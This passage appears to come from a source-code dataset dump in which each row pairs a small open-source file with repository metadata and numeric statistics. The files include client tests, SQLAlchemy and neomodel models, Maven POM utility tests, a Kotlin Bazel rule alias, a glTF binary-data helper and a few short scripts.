response = {
"data": {
"create_task_run_artifact": {"id": "artifact_id"},
"update_task_run_artifact": {"success": True},
"delete_task_run_artifact": {"success": True},
}
}
patch_post(response)
client = Client()
artifact_id = client.create_task_run_artifact(
task_run_id="tr_id", kind="kind", data={"test": "data"}, tenant_id="t_id"
)
assert artifact_id == "artifact_id"
client.update_task_run_artifact(task_run_artifact_id="tra_id", data={"new": "data"})
client.delete_task_run_artifact(task_run_artifact_id="tra_id")
response = {
"data": {
"create_task_run_artifact": {"id": None},
}
}
patch_post(response)
with pytest.raises(ValueError):
client.create_task_run_artifact(
task_run_id="tr_id", kind="kind", data={"test": "data"}, tenant_id="t_id"
)
with pytest.raises(ValueError):
client.update_task_run_artifact(task_run_artifact_id=None, data={"new": "data"})
with pytest.raises(ValueError):
client.delete_task_run_artifact(task_run_artifact_id=None)
| 30.553456 | 88 | 0.578298 | 6,175 | 56,585 | 5.042429 | 0.06753 | 0.038925 | 0.030061 | 0.036034 | 0.799884 | 0.746411 | 0.703118 | 0.680252 | 0.659344 | 0.630697 | 0 | 0.013825 | 0.284157 | 56,585 | 1,851 | 89 | 30.569962 | 0.754876 | 0.017054 | 0 | 0.572469 | 0 | 0 | 0.209022 | 0.03795 | 0 | 0 | 0 | 0 | 0.09133 | 1 | 0.047651 | false | 0.000662 | 0.013236 | 0 | 0.062872 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d4ed2bb11fb8d2db08e5d399434ce191988ea7a0 | 1,723 | py | Python | app/stores.py | maleksal/Flask | 23cdf880bffe8920da9d359b7e31459e2b71c06e | [
"MIT"
] | 3 | 2019-06-08T03:40:02.000Z | 2021-05-21T11:09:00.000Z | app/stores.py | maleksal/1MAC-Workshop2 | 23cdf880bffe8920da9d359b7e31459e2b71c06e | [
"MIT"
] | null | null | null | app/stores.py | maleksal/1MAC-Workshop2 | 23cdf880bffe8920da9d359b7e31459e2b71c06e | [
"MIT"
] | 6 | 2018-03-13T08:06:25.000Z | 2018-05-26T19:39:00.000Z | from app import models, db
from sqlalchemy import desc, func
class BaseStore():
def __init__(self, data_provider):
self.data_provider = data_provider
def get_all(self):
return self.data_provider.query.all()
def add(self, entity):
db.session.add(entity)
db.session.commit()
return entity
def get_by_id(self, id):
return self.data_provider.query.get(id)
def update(self, entity, fields):
result = self.data_provider.query.filter_by(id = entity.id).update(fields)
db.session.commit()
return result
def delete(self, id):
result = self.data_provider.query.filter_by(id = id).delete()
db.session.commit()
return result
def entity_exists(self, entity):
result = True
if self.get_by_id(entity.id) is None:
result = False
return result
class MemberStore(BaseStore):
def __init__(self):
super().__init__(models.Member)
def get_by_name(self, member_name):
return self.data_provider.query.filter_by(name = member_name)
def update(self, entity):
fields = {"name": entity.name, "age": entity.age}
return super().update(entity, fields)
def get_members_with_posts(self):
return self.data_provider.query.join(models.Member.posts)
def get_top_two(self):
return self.data_provider.query(func.count(models.Member.posts).label('total')).order_by('total DESC')
class PostStore(BaseStore):
def __init__(self):
super().__init__(models.Post)
def update(self, entity):
fields = {"title": entity.title, "content": entity.content}
return super().update(entity, fields)
| 25.716418 | 110 | 0.650029 | 224 | 1,723 | 4.78125 | 0.245536 | 0.112045 | 0.134454 | 0.137255 | 0.459384 | 0.304388 | 0.134454 | 0.069094 | 0 | 0 | 0 | 0 | 0.234475 | 1,723 | 66 | 111 | 26.106061 | 0.811979 | 0 | 0 | 0.272727 | 0 | 0 | 0.019733 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.318182 | false | 0 | 0.045455 | 0.113636 | 0.681818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
d4fe6b1611802ddca9db5e0d5c23135eb13ebbb2 | 2,314 | py | Python | test/python/squarepants_test/test_pom_utils.py | ericzundel/mvn2pants | 59776864939515bc0cae28e1b89944ce55b98b21 | [
"Apache-2.0"
] | 8 | 2015-04-14T22:37:56.000Z | 2021-01-20T19:46:40.000Z | test/python/squarepants_test/test_pom_utils.py | ericzundel/mvn2pants | 59776864939515bc0cae28e1b89944ce55b98b21 | [
"Apache-2.0"
] | 1 | 2016-01-13T23:19:14.000Z | 2016-01-22T22:47:48.000Z | test/python/squarepants_test/test_pom_utils.py | ericzundel/mvn2pants | 59776864939515bc0cae28e1b89944ce55b98b21 | [
"Apache-2.0"
] | 3 | 2015-12-13T08:35:34.000Z | 2018-08-01T17:44:59.000Z | # Tests for code in squarepants/src/main/python/squarepants/pom_utils.py
#
# Run with:
# ./pants test squarepants/src/test/python/squarepants_test:pom_utils
import logging
import unittest2 as unittest
from squarepants.pom_utils import PomUtils
# TODO(Eric Ayers) Refactor PomUtils so we can point it at a dummy directory of pom files
class PomUtilsTest(unittest.TestCase):
# Test singletons
def test_dependency_management_Finder(self):
dmf = PomUtils.dependency_management_finder()
self.assertIsNotNone(dmf)
self.assertIs(dmf, PomUtils.dependency_management_finder()) # should be a singleton
def test_pom_provides_target(self):
ppt = PomUtils.pom_provides_target()
self.assertIsNotNone(ppt)
self.assertIs(ppt, PomUtils.pom_provides_target()) # should be a singleton
def test_local_dep_targets(self):
ldt = PomUtils.local_dep_targets()
self.assertIsNotNone(ldt)
self.assertIs(ldt, PomUtils.local_dep_targets()) # should be a singleton
def test_third_party_dep_targets(self):
tpdt = PomUtils.third_party_dep_targets()
self.assertIsNotNone(tpdt)
self.assertIs(tpdt, PomUtils.third_party_dep_targets())
def test_top_pom_content_handler(self):
tpch = PomUtils.top_pom_content_handler()
self.assertIsNotNone(tpch)
self.assertIs(tpch, PomUtils.top_pom_content_handler())
def test_external_protos_content_handler(self):
epch = PomUtils.external_protos_content_handler()
self.assertIsNotNone(epch)
self.assertIs(epch, PomUtils.external_protos_content_handler())
def test_get_modules(self):
top_modules = PomUtils.top_pom_content_handler()
self.assertIsNotNone(top_modules)
def test_common_usage(self):
# nothing really to test here, it just prints a message to sdout.
PomUtils.common_usage()
def test_parse_common_args(self):
unprocessed = PomUtils.parse_common_args(['-ldebug', 'unused'])
self.assertEquals(['unused'], unprocessed)
self.assertTrue(logging.DEBUG, logging.getLogger().getEffectiveLevel())
def test_is_local_dep(self):
self.assertFalse(PomUtils.is_local_dep('bogus-dep'))
def test_is_third_party_dep(self):
self.assertFalse(PomUtils.is_third_party_dep('bogus-dep'))
def test_is_external_dep(self):
self.assertTrue(PomUtils.is_external_dep('bogus-dep'))
| 34.537313 | 89 | 0.772688 | 310 | 2,314 | 5.487097 | 0.303226 | 0.049383 | 0.038213 | 0.047031 | 0.425044 | 0.266314 | 0.055262 | 0 | 0 | 0 | 0 | 0.000498 | 0.131806 | 2,314 | 66 | 90 | 35.060606 | 0.846192 | 0.165082 | 0 | 0 | 0 | 0 | 0.023946 | 0 | 0 | 0 | 0 | 0.015152 | 0.418605 | 1 | 0.27907 | false | 0 | 0.069767 | 0 | 0.372093 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
be046c57d6f602de11e2380f78830f7af77687e1 | 249 | bzl | Python | kotlin.bzl | bbuck/advent-of-code | c06cbc73b6fbb848f3f8a2327a60f40d69a5f4fa | [
"MIT"
] | null | null | null | kotlin.bzl | bbuck/advent-of-code | c06cbc73b6fbb848f3f8a2327a60f40d69a5f4fa | [
"MIT"
] | null | null | null | kotlin.bzl | bbuck/advent-of-code | c06cbc73b6fbb848f3f8a2327a60f40d69a5f4fa | [
"MIT"
] | null | null | null | """
Provide friendlier Kotlin rule exports.
"""
load(
"@io_bazel_rules_kotlin//kotlin:kotlin.bzl",
_kt_jvm_binary = "kt_jvm_binary",
_kt_jvm_library = "kt_jvm_library",
)
kt_jvm_library = _kt_jvm_library
kt_jvm_binary = _kt_jvm_binary
| 19.153846 | 48 | 0.746988 | 37 | 249 | 4.405405 | 0.378378 | 0.245399 | 0.269939 | 0.343558 | 0.564417 | 0.564417 | 0.325153 | 0.325153 | 0.325153 | 0.325153 | 0 | 0 | 0.144578 | 249 | 12 | 49 | 20.75 | 0.765258 | 0.156627 | 0 | 0 | 0 | 0 | 0.336634 | 0.20297 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
be0a4a0c8e0c7829d1f214c65a30090f9f75a73b | 556 | py | Python | application/authors/authors.py | gitjms/Lyriikka-analysaattori | 14a9c70436f3ea83dc48244c0c1641a766fb49a7 | [
"MIT"
] | null | null | null | application/authors/authors.py | gitjms/Lyriikka-analysaattori | 14a9c70436f3ea83dc48244c0c1641a766fb49a7 | [
"MIT"
] | 3 | 2020-06-01T18:42:27.000Z | 2020-06-17T19:21:55.000Z | application/authors/authors.py | gitjms/Lyriikka-analysaattori | 14a9c70436f3ea83dc48244c0c1641a766fb49a7 | [
"MIT"
] | null | null | null | authors = ['Jens Nicolai Ludvig Schjörring', 'H. S. Thompson', 'Abraham Achrenius', 'Toisinto Ylistarosta', 'Lina Sandell-Berg', 'Gunr Wennerberg', 'Georgiana M. Taylor', 'Johnson Jr. Oatman', 'Edwin O. Excell', 'Tuntematon', 'Lewis Hartsoug', 'Chris Tomlin', 'George Crawford Hugg', 'Philip Paul Bliss', 'Ed Cash', 'Stephan Conley Sharp', 'Matt Maher', 'Hillsong United', 'John van den Hogen', 'Mlle Amélie Humbert', 'George Coles Stebbins', 'Charles Rochedieu', 'William Herbert Jude', 'C.-C. Williams', 'Horatio Richmond Palmer', 'Jean-François Bussy']
| 278 | 555 | 0.715827 | 70 | 556 | 5.685714 | 0.971429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.122302 | 556 | 1 | 556 | 556 | 0.815574 | 0 | 0 | 0 | 0 | 0 | 0.793165 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
be0e682b8481d027141fe082d79c73d77aa339e2 | 146 | py | Python | python/python_work2/liebiao9.py | lucycore/python | c1c49e52392615851c0efec886d0e947b609681c | [
"Apache-2.0"
] | null | null | null | python/python_work2/liebiao9.py | lucycore/python | c1c49e52392615851c0efec886d0e947b609681c | [
"Apache-2.0"
] | null | null | null | python/python_work2/liebiao9.py | lucycore/python | c1c49e52392615851c0efec886d0e947b609681c | [
"Apache-2.0"
] | null | null | null | # -*- coding:utf-8-*-
name = ["gyj","dzj","why","zz","wwb","zke","ljx","syb","yxd"]
print(name)
name.reverse()
print(name)
print(len(name))
| 11.230769 | 61 | 0.554795 | 22 | 146 | 3.681818 | 0.727273 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007692 | 0.109589 | 146 | 12 | 62 | 12.166667 | 0.615385 | 0.130137 | 0 | 0.4 | 0 | 0 | 0.209677 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.6 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
be17b072c6959d87147f01cf37859b2e036cd541 | 38 | py | Python | app/defaults.py | ecradock/wifihawk | ab459e9746bb661968118c7d4f785454f2342ff1 | [
"MIT"
] | 2 | 2018-02-12T19:01:04.000Z | 2019-01-20T03:07:12.000Z | app/defaults.py | ecradock/wifi-hawk | ab459e9746bb661968118c7d4f785454f2342ff1 | [
"MIT"
] | null | null | null | app/defaults.py | ecradock/wifi-hawk | ab459e9746bb661968118c7d4f785454f2342ff1 | [
"MIT"
] | null | null | null | DEFAULT_CONFIG_NAME = ".wifihawk.ini"
| 19 | 37 | 0.789474 | 5 | 38 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078947 | 38 | 1 | 38 | 38 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0.342105 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
be1fb8b6c2db6d8cc71542da1004e661fb76accc | 1,413 | py | Python | addons/io_scene_gltf2/io/exp/gltf2_io_binary_data.py | xissburg/glTF-Blender-IO | b35e27dcbc0e01fd1cca59255dbf1754eec55eb4 | [
"Apache-2.0"
] | 25 | 2018-10-12T08:45:45.000Z | 2021-02-27T15:29:56.000Z | addons/io_scene_gltf2/io/exp/gltf2_io_binary_data.py | xissburg/glTF-Blender-IO | b35e27dcbc0e01fd1cca59255dbf1754eec55eb4 | [
"Apache-2.0"
] | 1 | 2019-06-03T20:16:21.000Z | 2019-06-03T20:44:41.000Z | addons/io_scene_gltf2/io/exp/gltf2_io_binary_data.py | Svrf/glTF-Blender-IO | c539fcedabdc5c5b77d7919a39f352ac330f6985 | [
"Apache-2.0"
] | 4 | 2019-02-03T12:33:55.000Z | 2021-01-04T11:19:25.000Z | # Copyright 2018-2019 The glTF-Blender-IO authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import typing
import array
from io_scene_gltf2.io.com import gltf2_io_constants
class BinaryData:
"""Store for gltf binary data that can later be stored in a buffer."""
def __init__(self, data: bytes):
if not isinstance(data, bytes):
raise TypeError("Data is not a bytes array")
self.data = data
def __eq__(self, other):
return self.data == other.data
def __hash__(self):
return hash(self.data)
@classmethod
def from_list(cls, lst: typing.List[typing.Any], gltf_component_type: gltf2_io_constants.ComponentType):
format_char = gltf2_io_constants.ComponentType.to_type_code(gltf_component_type)
return BinaryData(array.array(format_char, lst).tobytes())
@property
def byte_length(self):
return len(self.data)
| 33.642857 | 108 | 0.722576 | 206 | 1,413 | 4.81068 | 0.543689 | 0.060545 | 0.048436 | 0.032291 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014097 | 0.196745 | 1,413 | 41 | 109 | 34.463415 | 0.859031 | 0.450106 | 0 | 0 | 0 | 0 | 0.032938 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.263158 | false | 0 | 0.157895 | 0.157895 | 0.684211 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
be2853c353e8a487e24ea54f3e801228a5abb9ca | 90 | py | Python | ark_fund/apps.py | ArkHackathon/ARK-Fund | bea1564a782485820475bcd9724b879ad27504a2 | [
"Apache-2.0"
] | 1 | 2018-09-07T14:02:02.000Z | 2018-09-07T14:02:02.000Z | ark_fund/apps.py | ArkHackathon/ARK-Fund | bea1564a782485820475bcd9724b879ad27504a2 | [
"Apache-2.0"
] | null | null | null | ark_fund/apps.py | ArkHackathon/ARK-Fund | bea1564a782485820475bcd9724b879ad27504a2 | [
"Apache-2.0"
] | 1 | 2018-04-13T12:58:06.000Z | 2018-04-13T12:58:06.000Z | from django.apps import AppConfig
class ArkFundConfig(AppConfig):
name = 'ark_fund'
| 15 | 33 | 0.755556 | 11 | 90 | 6.090909 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 90 | 5 | 34 | 18 | 0.893333 | 0 | 0 | 0 | 0 | 0 | 0.088889 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0776483633632ceba1f0bfecfe71f58b05d35531 | 1,265 | py | Python | Timer/event.py | hc-tec/redis-py | 28172eb4de2bfc61b0ff1023dbf7b52d4f4ba47c | [
"MIT"
] | 1 | 2021-11-24T07:54:17.000Z | 2021-11-24T07:54:17.000Z | Timer/event.py | hc-tec/pydis | 28172eb4de2bfc61b0ff1023dbf7b52d4f4ba47c | [
"MIT"
] | 1 | 2021-11-13T15:08:14.000Z | 2021-11-13T15:08:14.000Z | Timer/event.py | hc-tec/pydis | 28172eb4de2bfc61b0ff1023dbf7b52d4f4ba47c | [
"MIT"
] | 1 | 2021-11-24T07:54:28.000Z | 2021-11-24T07:54:28.000Z |
from Timer.interfaces import ITimestamp, ITimeoutEvent
class TimeoutEvent(ITimeoutEvent):
def __init__(self, timestamp: ITimestamp):
self.__timestamp = timestamp
# self.__callback = None
self.extra_data = None
def get_timestamp(self) -> ITimestamp:
return self.__timestamp
# def set_callback(self, callback: Callable):
# if callback and callable(callback):
# self.__callback = callback
# return self
def set_extra_data(self, extra_data):
self.extra_data = extra_data
return self
def handle_event(self, reactor):
# self.__callback(reactor, self.__extra_data)
pass
def __gt__(self, other):
return self.get_timestamp().get_time() > other.get_timestamp().get_time()
def __ge__(self, other):
return self.get_timestamp().get_time() >= other.get_timestamp().get_time()
def __lt__(self, other):
return self.get_timestamp().get_time() < other.get_timestamp().get_time()
def __le__(self, other):
return self.get_timestamp().get_time() <= other.get_timestamp().get_time()
def __str__(self):
return f'<TimeoutEvent timestamp={int(self.get_timestamp().get_time())}>'
__repr__ = __str__
| 27.5 | 82 | 0.66087 | 149 | 1,265 | 5.127517 | 0.241611 | 0.157068 | 0.176702 | 0.223822 | 0.41623 | 0.340314 | 0.340314 | 0.340314 | 0.340314 | 0.340314 | 0 | 0 | 0.226877 | 1,265 | 45 | 83 | 28.111111 | 0.781186 | 0.158893 | 0 | 0 | 0 | 0 | 0.059772 | 0.04649 | 0 | 0 | 0 | 0 | 0 | 1 | 0.391304 | false | 0.043478 | 0.043478 | 0.26087 | 0.826087 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
077d5336d6b91c91e9fbcedea86530a263781db5 | 1,030 | py | Python | mysite/data_2015_fall/models.py | seckcoder/18656-final | d5691bc1f682b35ce68cd27c5a5c67d66693eca5 | [
"Unlicense"
] | null | null | null | mysite/data_2015_fall/models.py | seckcoder/18656-final | d5691bc1f682b35ce68cd27c5a5c67d66693eca5 | [
"Unlicense"
] | null | null | null | mysite/data_2015_fall/models.py | seckcoder/18656-final | d5691bc1f682b35ce68cd27c5a5c67d66693eca5 | [
"Unlicense"
] | null | null | null | from neomodel import (StructuredNode, StringProperty, IntegerProperty, ArrayProperty,
RelationshipTo, RelationshipFrom)
# Create your models here.
class Article(StructuredNode):
title = StringProperty()
journal = StringProperty()
year = IntegerProperty()
volume = IntegerProperty()
authors = RelationshipFrom('Author', 'AUTHORED')
class Author(StructuredNode):
name = StringProperty()
articles = RelationshipTo('Article', 'AUTHORED')
def __str__(self):
# Call str function here since sometimes the object might not
# found in the database...
# Python sucks
return "<Author: " + str(self.name) + ">"
def __repr__(self):
return "<Author: " + repr(self.name) + ">"
def __hash__(self):
"""
We use name of the author as the hash value
"""
return hash(self.name)
def __cmp__(self, other):
return cmp(self.name, other.name)
def toDict(self):
return {
"name": self.name
}
| 27.837838 | 85 | 0.626214 | 103 | 1,030 | 6.106796 | 0.495146 | 0.063593 | 0.052464 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.265049 | 1,030 | 36 | 86 | 28.611111 | 0.830911 | 0.162136 | 0 | 0 | 0 | 0 | 0.063397 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0 | 0.043478 | 0.173913 | 0.869565 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
079660b7537213e8eb0c54b1e33e001f2274a65b | 1,178 | py | Python | lib/setup_custom.py | curtjen/clither | b62bb663aa75edc189455c5bd857437623fbf691 | [
"MIT"
] | null | null | null | lib/setup_custom.py | curtjen/clither | b62bb663aa75edc189455c5bd857437623fbf691 | [
"MIT"
] | null | null | null | lib/setup_custom.py | curtjen/clither | b62bb663aa75edc189455c5bd857437623fbf691 | [
"MIT"
] | null | null | null | #!/bin/env python
"""Backup current RC files in the HOME directory."""
import os
from helpers import create_directory, copy_file, paths, mk_clither_custom_dirs, clean_dir
def main():
print('-' * 40)
print('Start mk_custom...')
create_directory(paths.custom_path)
copy_file(paths.clither_tmp_config, paths.custom_path)
create_directory(paths.custom_lib_path)
copy_file(paths.clither_run, paths.custom_path, write_over=True) # may want another lvl deep?
copy_file(paths.clither_pather, paths.custom_path, write_over=True)
copy_file(paths.clither_run_help, paths.custom_lib_path, write_over=True)
# create_directory(paths.custom_default_addon_path)
# copy_file(paths.clither_default_json, paths.custom_default_addon_path, write_over=True)
# create_directory(paths.custom_default_addon_rcs_path)
# copy_file(paths.clither_default_addons_rc, paths.custom_default_addon_rcs_path, write_over=True)
create_directory(paths.custom_configs_path)
create_directory(paths.custom_overrides_path)
create_directory(paths.custom_fallbacks_path)
create_directory(paths.custom_lockfile_path)
print('Finished mk_custom!')
if __name__ == "__main__":
main() | 36.8125 | 100 | 0.808998 | 172 | 1,178 | 5.098837 | 0.331395 | 0.175599 | 0.18244 | 0.237172 | 0.58951 | 0.342075 | 0.174458 | 0.174458 | 0.125428 | 0.125428 | 0 | 0.001876 | 0.095076 | 1,178 | 32 | 101 | 36.8125 | 0.820826 | 0.321732 | 0 | 0 | 0 | 0 | 0.058302 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | true | 0 | 0.111111 | 0 | 0.166667 | 0.166667 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
07aa72c8f9d39e0033396c43201feaecacc4587a | 135 | py | Python | org/archive/eval/__init__.py | arita37/ptl2r.github.io | 6bd716c189e54df985062e22926c2d680cac8a8b | [
"MIT"
] | 1 | 2020-03-12T06:28:35.000Z | 2020-03-12T06:28:35.000Z | org/archive/utils/__init__.py | arita37/ptl2r.github.io | 6bd716c189e54df985062e22926c2d680cac8a8b | [
"MIT"
] | null | null | null | org/archive/utils/__init__.py | arita37/ptl2r.github.io | 6bd716c189e54df985062e22926c2d680cac8a8b | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Created by Hai-Tao Yu
# 26/09/2018
# https://y-research.github.io
"""Description
""" | 13.5 | 30 | 0.614815 | 21 | 135 | 3.952381 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078261 | 0.148148 | 135 | 10 | 31 | 13.5 | 0.643478 | 0.859259 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
07ac07a9bb3a47e74d85fdec9323c1f88e664fcf | 117 | py | Python | PythonExercicios/ex013.py | marcoantonio97/Curso-de-Python | b99c6c75e2b845086203b84a71a4013c0658dc44 | [
"MIT"
] | null | null | null | PythonExercicios/ex013.py | marcoantonio97/Curso-de-Python | b99c6c75e2b845086203b84a71a4013c0658dc44 | [
"MIT"
] | null | null | null | PythonExercicios/ex013.py | marcoantonio97/Curso-de-Python | b99c6c75e2b845086203b84a71a4013c0658dc44 | [
"MIT"
] | null | null | null | salario = float(input('Digite o salário atual: '))
print('O salário ajustado será de R${:.2f}'.format(salario*1.15))
| 39 | 65 | 0.700855 | 19 | 117 | 4.315789 | 0.842105 | 0.195122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038462 | 0.111111 | 117 | 2 | 66 | 58.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0.504274 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
07c06bec3c38362706e57bc56d110a6ed8cdf3b5 | 286 | py | Python | bph_pal/bph_pal/__init__.py | MrKevinWeiss/BPH | a14250986ee5e15e405a75e77712411d0aea7686 | [
"MIT"
] | null | null | null | bph_pal/bph_pal/__init__.py | MrKevinWeiss/BPH | a14250986ee5e15e405a75e77712411d0aea7686 | [
"MIT"
] | 19 | 2018-09-28T11:04:16.000Z | 2020-07-17T16:08:31.000Z | bph_pal/bph_pal/__init__.py | MrKevinWeiss/BPH | a14250986ee5e15e405a75e77712411d0aea7686 | [
"MIT"
] | 2 | 2018-09-18T15:20:37.000Z | 2018-10-22T06:45:46.000Z | # Copyright (c) 2019 Kevin Weiss, for HAW Hamburg <kevin.weiss@haw-hamburg.de>
#
# This file is subject to the terms and conditions of the MIT License. See the
# file LICENSE in the top level directory for more details.
# SPDX-License-Identifier: MIT
"""packet init for BPH PAL
"""
| 35.75 | 79 | 0.734266 | 47 | 286 | 4.468085 | 0.723404 | 0.095238 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017021 | 0.178322 | 286 | 7 | 80 | 40.857143 | 0.876596 | 0.940559 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
07c458a1a227f77e37292b2c0ab8ec2cb74e6705 | 8,363 | py | Python | autotest/pyscripts/test_gdalinfo_py.py | trundev/gdal | d5777940975f2784980ef0b7561eeeb655fd0ab5 | [
"MIT"
] | 2 | 2018-03-22T22:31:00.000Z | 2021-07-16T01:34:47.000Z | autotest/pyscripts/test_gdalinfo_py.py | trundev/gdal | d5777940975f2784980ef0b7561eeeb655fd0ab5 | [
"MIT"
] | 1 | 2015-04-14T00:19:57.000Z | 2015-04-14T00:29:29.000Z | autotest/pyscripts/test_gdalinfo_py.py | trundev/gdal | d5777940975f2784980ef0b7561eeeb655fd0ab5 | [
"MIT"
] | 1 | 2021-11-21T02:33:51.000Z | 2021-11-21T02:33:51.000Z | #!/usr/bin/env pytest
###############################################################################
# $Id$
#
# Project: GDAL/OGR Test Suite
